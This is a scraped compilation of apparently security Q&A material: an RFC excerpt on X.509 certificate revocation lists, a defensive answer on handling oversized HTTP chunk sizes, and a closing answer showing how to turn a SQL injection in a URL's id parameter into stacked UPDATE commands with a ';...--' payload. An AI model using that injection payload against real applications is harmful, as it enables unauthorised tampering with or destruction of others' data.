  X.509 defines one method of certificate revocation.  This method
     involves each CA periodically issuing a signed data structure called
     a certificate revocation list (CRL).  A CRL is a time-stamped list ... A
     new CRL is issued on a regular periodic basis (e.g., hourly, daily,
     or weekly).  An entry is added to the CRL as part of the next update
     following notification of revocation.  An entry MUST NOT be removed
     from the CRL until it appears on one regularly scheduled CRL issued
     beyond the revoked certificate's validity period.

PS: The noun is "revocation" but the verb is "revoke" and past tense "revoked".


Extremely big HTTP chunk size I am working in a project which we must count HTTP response size.

I am getting chunk size like:

 crlf = g_strstr_len(chunkeddata , responceSize - responceHeaderSize, "\r\n")

And than I had a simple check like sizeof chunkdata information should be 9 bytes most .

Than it turns out that wasn't enough , while counting my code crushed because big HTTP chunk size(our product recieves real traffic from a big region  )

Now I am curious if that was a attack or just a mistake by server which generated http response header.

My question : Do you know any known attacks with using chunkdata size information in http responce?

From your vague description, I suppose that your code gathers whatever the server sends back as a big sequence of bytes, then interprets the bytes as if they were a nul-terminated character string, and then tries to find a CR+LF sequence in it.

This is wrong on many levels. First off, bytes are not necessarily a character string, and may, in particular, lack the terminating 0. Also, while the HTTP header consists in lines ending with CR+LF, and ends on an empty line (i.e. a CR+LF immediately after the previous CR+LF), nothing prevents the response body from containing CR+LF sequences as well. Finally, there is a thing called content encoding which is how the response contents are encoded into bytes. With HTTP, there are mainly four encodings for the response body:

No response body at all. This depends on the response type. For instance, types 204 and 304 do not have a body.
Explicit length. A Content-Length header specifies the length of the body, in bytes.
Implicit length. The body extends up to the end of the transport connection. When implicit length is used, the response cannot, by definition, be followed on the same connection with another response for another request.
Chunked encoding. The body is split into chunks; each chunk has its own size, given as a chunk header. This is described in section 3.6.1. There is no standard maximum size on a chunk. Chunked encoding also supports a "trailer", i.e. additional HTTP header lines after the data.

The bottom-line is that you should not try to find CR+LF sequences directly in some bytes. What you should do is the following:

Use an HTTP library which yields the response as a stream; e.g. LibSoup (I suppose, from your use of g_strstr_len(), that you use Glib; LibSoup is a GNOME HTTP library designed to work well with Glib).
Read the response data, as provided by the library, as small chunks (e.g. by chunks of at most 8192 bytes, a very traditional value). Don't bother thinking about "chunks" as seen on the wire; this is the job of the HTTP library, not yours.
Count the bytes as you read them. I suppose you want to accumulate these bytes somewhere in RAM, e.g. in an array, for further processing. Be sure to enforce a size limit: if the response body happens to be larger than a maximum expected value (which depends on what you want), then discard further bytes and report an error.

This way, you will get the response length, and the response as well, while keeping under controlled memory size: an oversized response will not make your code allocate an oversized chunk of RAM. This will also be compatible with the various encoding types. In any case, you MUST read the complete response at some point: unless an explicit Content-Length header is included, there is no way to know the response length without reading it all; and reading the complete response is important to allow a subsequent response to use the same TCP connection.

In that sense, attacks related to chunk size work only against poorly written software who insist on allocating RAM blocks based on sizes sent by the peer and without any safeguard against "absurd" data. If you want to implement proper, not-too-vulnerable network code, you have to be somewhat defensive about the received data, which must be assumed to be hostile by default until proven benign. You must not expect the server to always send you nice ASCII characters in well-formed messages. You get bytes and you can get any byte, both in quantity and contents. Using a library designed for HTTP will abstract away encoding issues, thus doing half of this defensive job.


How to Perform SQL insert or update command using SQL injection I have a URL http://localhost/usernfo.php?id=8 on which SQL injection can be performed.

How can I perform an Update, Insert or Delete command from this link after
I have got the structure of the database?

Lets say the application uses the id parameter (which is in your example 8) to create the following query:

SELECT * FROM news WHERE id=8 and active=1

If the parameter id is injectable, you could for example in the URL instead of 8 enter the following:

8; UPDATE table_name SET filed=123456 --

That would turn the first query into:

SELECT * FROM news WHERE id=8; UPDATE table_name SET filed=123456 -- and active=1

With ; you are closing the first query, and with -- you are commenting out if anything remained from the first query.